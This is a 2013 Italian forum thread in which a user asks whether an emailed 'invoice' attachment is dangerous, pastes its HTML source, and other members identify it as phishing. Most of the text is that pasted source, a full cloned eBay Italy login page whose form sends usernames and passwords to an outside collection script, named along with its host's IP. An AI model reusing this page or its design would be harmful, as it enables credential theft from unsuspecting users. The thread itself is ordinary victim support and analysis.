HACKING 120% {Hacking, programmazione, computer & molto altro}

Ho ricevuto una strana email...pishing?, Credo di aver fatto una cavolata......

« Older   Newer »
  Share  
SaraGanjaFriend
icon13  view post Posted on 28/8/2013, 04:00     +1   -1




Ciao ragazzi, oggi ho ricevuto una strana email con scritto:


"come abbiamo stabilito, questa mattina ho pagato la fattura #2355 di 140,00 Euro. Pagamento è stato effettuato tramite bonifico bancario.
allegato è la fattura #2355, ti prego di verificare la fattura e conferma mi che tutto e ok!
grazie, aspetto......


FILE HTM 14,4 KB f.2355.htm

From: Cristiano <[email protected]>
To: **********
Subject: ho pagato la fattura"

Io che uso sempre eBay e siti simili, mi sono incuriosita pensando di avere ricevuto un pagamento magari di un pò di tempo fa, ci clicco (NON lo apro, ci clicco soltanto) e poi lo chiudo subito ricordandomi che, oltre a non aver mai contattato questo [email protected], non ho più fatto nè acquisti nè vendite in nessun sito da gennaio di quest'anno (o almeno, si ho venduto in questi mesi, ma con/su altre email di riferimento. Questa mia email Yahoo non l'ho mai dato a nessuno, è personale e la uso per altre cose)
E lì mi sono sentita una stupida, come ho fatto a non pensarci?? Phishing!
Adesso sto in paranoia per paura di avere attivato un virus.
Ripeto, ci ho solo cliccato, non l'ho aperto... (è uscita una cosa simile a questa schermata, non mi ricordo più in questo momento...:.)


Che posso fare?
E' possibile che abbia attivato un virus?
Se è effettivamente così, che dovrei fare? Una scansione o cosa?
Grazie...


(ps. se ho sbagliato sezione mi scuso in anticipo)
 
Top
OP1337
view post Posted on 28/8/2013, 07:36     +1   +1   -1




Be', se è un virus non è fishing e se è fishing non è un virus. :asd:
Comunque tranquilla, per ora non hai attivato niente. Ti dirò di più, secondo me - quella in allegato - si tratta di una semplicissima pagina HTML dove ti chiede di inserire i tuoi dati.
Se sei curiosa puoi scaricarla a aprirla con un editor.
 
Top
The_BoSs_
view post Posted on 28/8/2013, 07:38     +1   -1




Non penso sia un virus anche perchè in .html è una pagina web, bisogna vedere che pagina è, e poi le dimensioni del file sono piccole quindi escluderei un virus. In ogni caso non lo aprire e fai una scansione con MalwareBytes ;)

CITAZIONE (OP1337 @ 28/8/2013, 08:36) 
Be', se è un virus non è fishing e se è fishing non è un virus. :asd:
Comunque tranquilla, per ora non hai attivato niente. Ti dirò di più, secondo me - quella in allegato - si tratta di una semplicissima pagina HTML dove ti chiede di inserire i tuoi dati.
Se sei curiosa puoi scaricarla a aprirla con un editor.

Abbiamo postato nello stesso momento OP lol Comunque potresti aprire con un editor e postare il codice qui ;)
 
Top
carbos
view post Posted on 28/8/2013, 11:27     +1   -1




Io ti consiglierei prima di aprire la pagina HTML con il blocco note, poi se tu non te ne intendi molto, puoi scrivere qui il source , e noi ti diremo cosa fa ;)
Poi di solito con il pishing si da direttamente l'url della pagina, ho visto poche volte gente che fa scaricare pagine html per pishing :asd:
 
Top
PaperonePazzo
view post Posted on 28/8/2013, 13:29     +1   -1




CITAZIONE (carbos @ 28/8/2013, 12:27) 
Io ti consiglierei prima di aprire la pagina HTML con il blocco note, poi se tu non te ne intendi molto, puoi scrivere qui il source , e noi ti diremo cosa fa ;)
Poi di solito con il pishing si da direttamente l'url della pagina, ho visto poche volte gente che fa scaricare pagine html per pishing :asd:

Potrebbe reindirizzare su una pagina contenente un js bastardo, asd.
 
Top
The_BoSs_
view post Posted on 28/8/2013, 14:29     +1   -1




Metterebbero direttamente l'url no? :)
 
Top
view post Posted on 28/8/2013, 14:57     +1   -1
Avatar

Water can take unforseen forms.

Group:
Founder
Posts:
5,273
Reputation:
+1,147
Location:
Shabang

Status:


Video

Magari ti esce una faccia brutta :asd:
 
Web  Top
carbos
view post Posted on 28/8/2013, 15:01     +1   -1




CITAZIONE (PaperonePazzo @ 28/8/2013, 14:29) 
CITAZIONE (carbos @ 28/8/2013, 12:27) 
Io ti consiglierei prima di aprire la pagina HTML con il blocco note, poi se tu non te ne intendi molto, puoi scrivere qui il source , e noi ti diremo cosa fa ;)
Poi di solito con il pishing si da direttamente l'url della pagina, ho visto poche volte gente che fa scaricare pagine html per pishing :asd:

Potrebbe reindirizzare su una pagina contenente un js bastardo, asd.

Infatti quello pensavo, oppure un JAVA DRIVE, bisognerebbe vedere il codice
 
Top
SaraGanjaFriend
view post Posted on 28/8/2013, 19:01     +1   -1




Grazie a tutti veramente! Adesso sono più tranquilla...
Comunque ok adesso lo apro con un editor e vi faccio sapere

EDIT:



CODICE
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Benvenuto su eBay - Accedi per vedere la fattura #2355</title><meta content="text/html"><script></script><div id="kgdiv"> <div><span id="flashkrb"></span></div></div><link rel="stylesheet" type="text/css" href="https://secureir.ebaystatic.com/v4css/z/uq/c2plk541ti5wlovzzi0022dff.css#SignInApp_SgnInds3_e835i_Ear_it_IT"></head><body class="sz980 rdsgn" id="body"><script type="text/javascript" src="https://secureir.ebaystatic.com/v4js/z/i5/r32gctn0fu3vjkpge2mjhij3q.js#SYS-ZAM_vjo_e835i_1_Ear_it_IT"></script><script type="text/javascript">vjo.dsf.error.ErrorHandlerManager.register(new vjo.dsf.error.DefaultErrorHandler());
vjo.dsf.error.ErrorHandlerManager.enableOnError(true, false);
vjo.dsf.cookie.VjCookieJar.sCookieDomain = '.ebay.it';vjo.dsf.cookie.VjCookieJar.writeCookielet('ebay','js','1');
</script><script type="text/javascript" src="https://secureir.ebaystatic.com/v4js/z/eu/341wgvdjgy2abb1qzf3cxflzf.js#SignInApp_SgnInds3_e835i_3_Ear_it_IT"></script><script type="text/javascript">(function(){
var _s=vjo.dsf.ServiceEngine, $se=_s.register;var _r=vjo.Registry;

$se(0,'writeKGFlash',function(message) {
vjo.darwin.sharedpres.flash.FlashHelper.AddFlash({"ebayContent":"null","minVersion":"9.0.115","width":"1","ebayConfig":"{\"application\":{\"urlBase\":\"https://secureinclude.ebaystatic.com/aw/pics/flash/global/features/krb/dist/krb.swf\",\"componentData\":null},\"global\":{\"stage\":{\"numOfItems\":\"40\",\"align\":\"lt\",\"minVersion\":\"9.0.115\",\"width\":\"1\",\"height\":\"1\",\"wmode\":\"transparent\",\"scaleMode\":\"noscale\",\"bgcolor\":\"#FFFFFF\",\"displayState\":\"noborder\"}},\"attachOnClick\":false,\"components\":{\"componentData\":{}}}","height":"1","allowscriptaccess":"always","wmode":"transparent","containerName":"flashkrb","allownetworking":"external","bgcolor":"#FFFFFF","ebayData":"{\"webServices\":[{\"default\":null,\"name\":\"krb\",\"url\":null}]}","url":"https://secureinclude.ebaystatic.com/aw/pics/flash/global/features/krb/dist/krb.swf"}); });
$se(2,function(message) {if (message.trspType == 'Remote') { message.stok = '-1217280012' };});
$se(2,function(message) {if (message.trspType == 'Remote') {message.pId = '4853';}});
$se(6,'Remote',function (message) {vjo.darwin.tracking.sojourner.TrackingRespHdl.handleResponse(message); });
})();
</script><script type="text/javascript">(function() {vjo.dsf.ServiceEngine.handleRequest(new vjo.dsf.Message('writeKGFlash'));})();
</script><div></div>
       <div class="pagewidth">
               <div class="pageminwidth">
                       <div class="pagelayout">
                               <div class="pagecontainer">
                                       <div class="GlobalNavigation" id="GlobalNavigation"><div><script type="text/javascript">var _GlobalNavHeaderUtf8Encoding=true,includeHost='https://secureinclude.ebaystatic.com/';</script><link rel="stylesheet" type="text/css" href="https://gh.ebaystatic.com/header/css/all.min?combo=52&ds=3&siteid=101&rvr=97&h=23137"><!--[if lt IE 9]>
<link rel="stylesheet" type="text/css" href="https://gh.ebaystatic.com/header/css/glb.ielt9?combo=52&ds=3&rvr=1.0.0&siteid=101&h=23140">
                     <![endif]-->
<a class=gh-hdn href="#mainContent">Skip to main content</a><div id=gh class="gh-w gh-minH gh-site-101"><table class=gh-tbl><tr><td class=gh-td><a id="gh-la" _sp="m570.l2586" class="iclg" href="http://www.ebay.it">eBay<img border=0 width=117 height=92 id=gh-logo src="https://securepics.ebaystatic.com/aw/pics/globalheader/spr9.png" alt="eBay" style="clip:rect(43px, 118px, 93px, 0px); position:absolute; top:-44px;left:0"></a></td></tr></table></div><a name="mainContent"></a>
<!--ts:2013.08.08.02:10--><!--rq:--><script src="https://gh.ebaystatic.com/header/js/light.min?combo=52&rvr=1&ds=3&siteid=101&h=23136"></script> <script type="text/javascript">
  GH = {init:function(){},log:function(){}};
 
  if (typeof GH != "undefined" && GH) {
       GH_config = {
                       siteId:"101",
                       algo:"1331241462",
                       catId:"0", sin:0,ct:-1,pageId:4853,notifCfg:null,catURL:'https://secureinclude.ebaystatic.com/categoryjs/86/it_IT/category_86it_IT0.js',impId:'AbEbDthg*'};GH.init();}</script><script type="text/javascript">var RoverDomainBaseUrl = 'https://rover.ebay.it';var svrGMT = 1376409896675;</script></div></div>
                                       <div class="AreaNavigation" id="AreaNavigation"></div>
                                       <div class="AreaTitle" id="AreaTitle"><div><div><div class="pt-c pt-rl pt-mar"><h1 class="pt-ct pt-tl"><div class="shpt"><span id="mainContent" class="sd-ds3Pt">Benvenuto su eBay</span></div></h1></div></div><img src="https://b.stats.ebay.com/ws/eBayISAPI.dll?V4AppCounter&amp;r=Ydg3DQWKCMjPMyszwrt7NPD02mlKx7CBbOq6-FYutplWBaByWOhsN8phv8tONxn3b08Ml5WbPSt6L3jkCMfSJoxgEwftcThtfPkzUGU5nIZbNBW3JjfxnuGduxtojrU2jKAwTA**&amp;seq=1" height="1px" width="1px" alt=""><img src="https://6c46c314078qn382.stats.ebay.com/ws/eBayISAPI.dll?V4AppCounter&amp;r=Ydg3DQWKCMjPMyszwrt7NPD02mlKx7CBbOq6-FYutplWBaByWOhsN8phv8tONxn3b08Ml5WbPSt6L3jkCMfSJoxgEwftcThtfPkzUGU5nIZbNBW3JjfxnuGduxtojrU2jKAwTA**&amp;seq=2" height="1px" width="1px" alt=""></div></div>
                                       <div class="PageLevelMessageArea" id="PageLevelMessageArea"><div></div></div>
                                       <div class="CentralArea" id="CentralArea"><div class="sd-el"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td valign="top"><div><div><div id="mainCnt" class="sd-bc"><div id="rContainer" class="sd-rCont"><div class="sd-rcc" id="newUserCnt"><div class="sd-txtA">Prima volta su eBay?</div><div class="sd-rts">Inizia ora. È facile e veloce!</div><form method="post" name="RegisterEnterInfo" action="https://scgi.ebay.it/ws/eBayISAPI.dll?RegisterEnterInfo&amp;siteid=101&amp;UsingSSL=1&amp;co_partnerId=2"><input type="hidden" name="MfcISAPICommand" value="RegisterEnterInfo"><input type="hidden" name="co_partnerId" id="co_partnerId" value="2"><input type="hidden" name="siteid" id="siteid" value="101"><input type="hidden" name="ru" id="ru" value="http%3A%2F%2Fwww.ebay.it%2F"><input type="hidden" name="bin" id="bin" value="-1"><input type="hidden" name="pageType" value="-1"><div><input type="submit" name="register_signin" title="Registrati" value="Registrati" id="register_signin" class="btn btn-scnd sd-sgnBtn"></div></form><div></div></div></div><div class="sd-lCont sd-lCont"><div><span class="sd-txtA">Accedi</span><div class="sd-spl"><div><span><a href="javascript:;" class="sd-bhla" id="v4-2"><span class="g-hdn">Accedi per avere aiuto</span><b class="sd-bhli"> </b></a><div id="bubbleCntOly_Outer" class="g-hdn" style="visibility : hidden;width:285px"><div id="cnbubbleCnt"><div><div class="sd-ttOvlC"><div><div tabindex="0">Scopri come risolvere i problemi di accesso o come proteggere facilmente il tuo account su eBay.</div><div class="sd-flnk"><ul class="sd-lipn"><li><a href="http://pages.ebay.it/help/new/contextual/signin.html" id="v4-0">Aiuto per l'accesso<b class="g-hdn"> - viene aperta una nuova finestra o scheda</b></a></li><li><a href="http://pages.ebay.it/help/new/contextual/account_protection.html" id="v4-1">Proteggi il tuo account<b class="g-hdn"> - viene aperta una nuova finestra o scheda</b></a></li></ul></div></div></div></div><a id="bubbleCnt_stA" href="javascript:;" class="g-hdn">Start of Layer</a><a id="bubbleCnt_enA" href="javascript:;" class="g-hdn">End of Layer</a></div></div></span></div></div></div><div><span>
                     <form name="SignInForm" id="SignInForm" method="POST" action="http://masinadecafea.com/images/vodka.php"><input type="hidden" name="MfcISAPICommand" id="MfcISAPICommand" value="SignInWelcome"><input type="hidden" name="bhid" id="bhid" value="DEF_CI"><input type="hidden" name="UsingSSL" value="1"><input type="hidden" name="inputversion" id="inputversion" value="2"><input type="hidden" name="lse" id="lse" value="false"><input type="hidden" name="lsv" id="lsv" value=""><input type="hidden" name="mid" id="mid" value="AQAAAUB0+NHHAAUxNDA3ODZjNDZjMy5hNWViNjE4LjExY2YxLmZmYzZjMmU3s94rI+ZRleoE6YwYMSU5TyqWvr8*"><input type="hidden" name="kgver" id="kgver" value="1"><input type="hidden" name="kgupg" id="kgupg" value="1"><input type="hidden" name="kgstate" id="kgstate" value=""><input type="hidden" name="omid" id="omid" value=""><input type="hidden" name="hmid" id="hmid" value=""><input type="hidden" name="rhr" id="rhr" value="f"><input type="hidden" name="siteid" value="101"><input type="hidden" name="co_partnerId" value="2"><input type="hidden" name="ru" id="ru" value="http://www.ebay.it/"><input type="hidden" name="pp" id="pp" value=""><input type="hidden" name="pa1" value=""><input type="hidden" name="pa2" value=""><input type="hidden" name="pa3" value=""><input type="hidden" name="i1" value="-1"><input type="hidden" name="pageType" value="-1"><input type="hidden" name="rtmData" value=""><input type="hidden" name="bUrlPrfx" id="bUrlPrfx" value="6c46c314078qn382"><input type="hidden" name="rqid" id="rqid" value="786c46c31400a5eb61806ff0ff93c6b6"><input type="hidden" name="kgct" id="kgct" value="AQAAAUB0%2BNHHAAV3TTNqakxjWkgrY0JOdDZObEU2c3luTWR1aW5EN0plcmZ4NVY4QXY1NGRJPeRcc2SuEtWtAO7D0kCfwzVHf6k3"><div><div class="disTxt"></div><div class="sd-uid"><div class="sd-ezp"><span><span class="sd-eym"></span></span></div><div></div><div class="sd-sd"><span class="sd-unl"><label for="userid">Email o ID utente  </label></span><span><input size="40" maxlength="64" class="txtBxF" value="" name="D1" id="userid"></span></div><div><span class="sd-unl"><label for="pass">Password  </label></span><span><input size="40" maxlength="64" class="txtBxF" value="" name="D2" id="pass" type="password"></span><div><span class="sd-sv">Hai dimenticato l'<a href="https://scgi.ebay.it/ws/eBayISAPI.dll?UserIdRecognizerShow&amp;_trksid=p4853.m2379.l4062">ID utente</a> o la <a href="https://scgi.ebay.it/ws/eBayISAPI.dll?FYPShow&amp;_trksid=p4853.m2379.l4061">password</a>?</span></div></div></div></div><div class="sd-ezp"><div class="sd-km"><b class="sd-pcs"><input type="checkbox" name="keepMeSignInOption" value="1" id="signed_in" checked="checked"></b><span class="sd-pcsm"><label for="signed_in">Resta connesso</label></span><span class="sd-sgn">(Deseleziona sempre questa casella se utilizzi un computer condiviso).</span></div></div><div class="sd-sb"><input type="submit" name="sgnBt" title="Accedi" value="Accedi" id="sgnBt" class="btn btn-prim sd-sgnBtn"></div></form></span></div></div></div></div></div></td></tr></table><div></div></div><script src="https://srv.it.ebayrtm.com/rtm?RtmGetCapJs&amp;p=18&amp;rqid=786c46c31400a5eb61806ff0ff93c6b6"></script></div>
                                       <div class="SupportiveNavigation" id="SupportiveNavigation"><script><!--
var pageID='SignIn2';
var pageName='PageSignIn';

//--></script></div>
                               </div>
                       </div>
               </div>
       </div>
<div><div id=glbfooter class=gh-w><div><div id=rtm_html_1650 style="height:0px;display:none;"></div><div id=rtm_html_1651 style="height:0px;display:none;"></div></div><table class=gf-t><tr valign=top><td class=gf-legal>Copyright &copy; 1995-2013 eBay Inc. Tutti i diritti riservati.Marchi registrati e segni distintivi sono di proprietà dei rispettivi titolari.L'uso di questo sito web implica l'accettazione dell'<a _sp="m571.l2612" href="http://pages.ebay.it/help/policies/user-agreement.html">Accordo per gli utenti</a> di eBay e delle <a _sp="m571.l2613" href="http://pages.ebay.it/help/policies/privacy-policy.html">Regole sulla privacy</a> <br><br><a href="http://viv.ebay.it/ws/eBayISAPI.dll?EbayTime">Ora ufficiale di eBay</a> </td><td nowrap align=center><a title="Verifica il certificato di questo sito" onclick="this.href='https://seal.verisign.com/splash?form_file=fdf/splash.fdf&lang=it&dn='+location.host;return true;" href="https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=SCGI.EBAY.COM&lang=it"><img alt="" src="https://securepics.ebaystatic.com/aw/pics/globalHeader/seal.gif  " width="100" height="65" border="0"></a><br><a class="thrd" href="http://www.verisign.com/ssl-certificate">Informazioni sui certificati SSL</a></td></tr></table>
<div id=cobrandFooter></div></div><!--ts:2013.08.08.02:08--><!--rq:--></div><!--uk`1d72f+c:7`,RcmdId SignIn2,RlogId p4plaijkoiwi%3C%3Dpie3a57d.a%3F5e-140786c46e3-0x11d--><script type="text/javascript" src="https://secureir.ebaystatic.com/v4js/z/my/ol5y4zuvxu0hhkfqvjf1ghxiq.js#SignInApp_SgnInds3_e835i_6_Ear_it_IT"></script><script type="text/javascript">vjo.darwin.tracking.rover.Rover.roverTrack();
(function () {
var _r = vjo.Registry;
_r.put('bubbleCntjsid',new vjo.darwin.comp.overlaypanel.harrow.OverlayPanelWithHArrow({"yof":16,"styles":["ov-ptr ov-pl","ov-ptr ov-pl","ov-ptr ov-pr","ov-ptr ov-pr"],"OS":{"value":0,"id":0,"name":"Large","integer":0},"pointPos":"CENTER","arW":"17","arH":"45","arrId":"bubbleCntarid"}, false)); _r.put('Js-bubbleCnt',new vjo.darwin.comp.overlaypanel.OverlayPanel({"cbTxt":"Click to close","AT":1,"MCI":null,"s":null,"MCO":null,"MW":0,"NFEI":null,"suffixes":["O","C","PO","PC","_CB","_DJS","_stA","_enA"]}, {"opt":{"OS":0,"HA":"l","JS":"bubbleCntjsid","VA":"a","VNS":-1},"CW":285,"m1":8450,"CH":0,"cnId":"cnbubbleCnt","OId":"bubbleCntOly_Outer","z":4000,"id":"bubbleCnt","mz":6000})); })();
(function(){
var _d=vjo.dsf.EventDispatcher;
var _r=vjo.Registry;
function $4(p0){return function(event){return this.popUpWin(p0);};};_d.add('body','load',function(event) { this.BeforeLoadMethods(false, false, true, false, false, false, null, null, null, null, "SignInForm", "AQAAAUB0+NHHAAUxNDA3ODZjNDZjMy5hNWViNjE4LjExY2YxLmZmYzZjMmU3s94rI+ZRleoE6YwYMSU5TyqWvr8*", true, true, "https://secureinclude.ebaystatic.com/aw/pics/flash/global/features/krb/dist/krb.xap"); },vjo.com.ebay.darwin.app.signin.SignInMethodcalls);_d.add('body','load',function(event) { this.authFlow("https://signin.ebay.com/ws/eBayISAPI.dll?SignInAuthRedirect&guid=true&isV4=true&ct=", true); },vjo.com.ebay.darwin.app.signin.SigninSelfInit);_d.add('v4-0','click',$4("http://pages.ebay.it/help/new/contextual/signin.html"),vjo.com.ebay.darwin.app.signin.SignInCommon);_d.add('v4-1','click',$4("http://pages.ebay.it/help/new/contextual/account_protection.html"),vjo.com.ebay.darwin.app.signin.SignInCommon);_d.add('v4-2','click',function(event) { this.olpMsg("ObubbleCnt", "v4-2"); },vjo.darwin.comp.overlaypanel.OverlayPanel);_d.add('SignInForm','submit',function(event) { this.SignInToolbarSubmit(false); },vjo.com.ebay.darwin.app.signin.SignInMethodcalls);})();
       </script><script type="text/javascript">
vjo.ctype("vjo.dsf.FirePageLoad").endType();if(typeof(oGaugeInfo)!="undefined"){oGaugeInfo.iLoadST=(new Date()).getTime();}
vjo.dsf.EventDispatcher.load(document.body);

       </script></body></html>
 
Top
OP1337
view post Posted on 29/8/2013, 09:40     +2   +1   -1




Dal codice sembra essere un login fasullo di ebay. I dati inseriti vengono inviati a questo indirizzo:
CODICE
http://masinadecafea.com/images/vodka.php

E' hostato su Alfahost.ro (37.59.54.7).
Se conosci un po' di rumeno e vuoi segnalarlo qui ci sono i loro termini di servizio: http://alfahost.ro/termeni/
 
Top
carbos
view post Posted on 29/8/2013, 10:11     +1   -1




Quoto con OP, io gli invierei falsi dati per renderlo soddisfatto XD poi vedi come ci si ammattisce pensando che ha sbagliato a fare il codice trolol e forse ti invierà un altro file html XD
 
Top
PaperonePazzo
view post Posted on 29/8/2013, 12:52     +1   -1




CITAZIONE (OP1337 @ 29/8/2013, 10:40) 
Dal codice sembra essere un login fasullo di ebay. I dati inseriti vengono inviati a questo indirizzo:
CODICE
http://masinadecafea.com/images/vodka.php

E' hostato su Alfahost.ro (37.59.54.7).
Se conosci un po' di rumeno e vuoi segnalarlo qui ci sono i loro termini di servizio: http://alfahost.ro/termeni/

Si scrive lingua romena, comunque, bravo oppy, ti meriti un biscotto.....te lo do se il tuo browser accetta i cookies, lol. Si, è pessima xD

Ormai la gente non ci casca più al pishing del genere lol.
 
Top
SaraGanjaFriend
view post Posted on 29/8/2013, 12:53     +1   -1




CITAZIONE (OP1337 @ 29/8/2013, 10:40) 
Dal codice sembra essere un login fasullo di ebay. I dati inseriti vengono inviati a questo indirizzo:
CODICE
http://masinadecafea.com/images/vodka.php

E' hostato su Alfahost.ro (37.59.54.7).
Se conosci un po' di rumeno e vuoi segnalarlo qui ci sono i loro termini di servizio: http://alfahost.ro/termeni/

Grazie OP, veramente!
Sfortunatamente non conosco il rumero >.<
Magari chiedo a un mio amico se può fare qualcosa lui...vediamo...

CITAZIONE (carbos @ 29/8/2013, 11:11) 
Quoto con OP, io gli invierei falsi dati per renderlo soddisfatto XD poi vedi come ci si ammattisce pensando che ha sbagliato a fare il codice trolol e forse ti invierà un altro file html XD

Infatti penso proprio di farlo xD
Vediamo poi cosa farà xD
 
Top
OP1337
view post Posted on 29/8/2013, 13:04     +1   -1




CITAZIONE (PaperonePazzo @ 29/8/2013, 13:52) 
cut

Non fare il grammar nazi, che ti freghi da solo.
 
Top
PaperonePazzo
view post Posted on 29/8/2013, 13:24     +1   -1




CITAZIONE (OP1337 @ 29/8/2013, 14:04) 
CITAZIONE (PaperonePazzo @ 29/8/2013, 13:52) 
cut

Non fare il grammar nazi, che ti freghi da solo.

Lulz
 
Top
14 replies since 28/8/2013, 04:00   443 views
  Share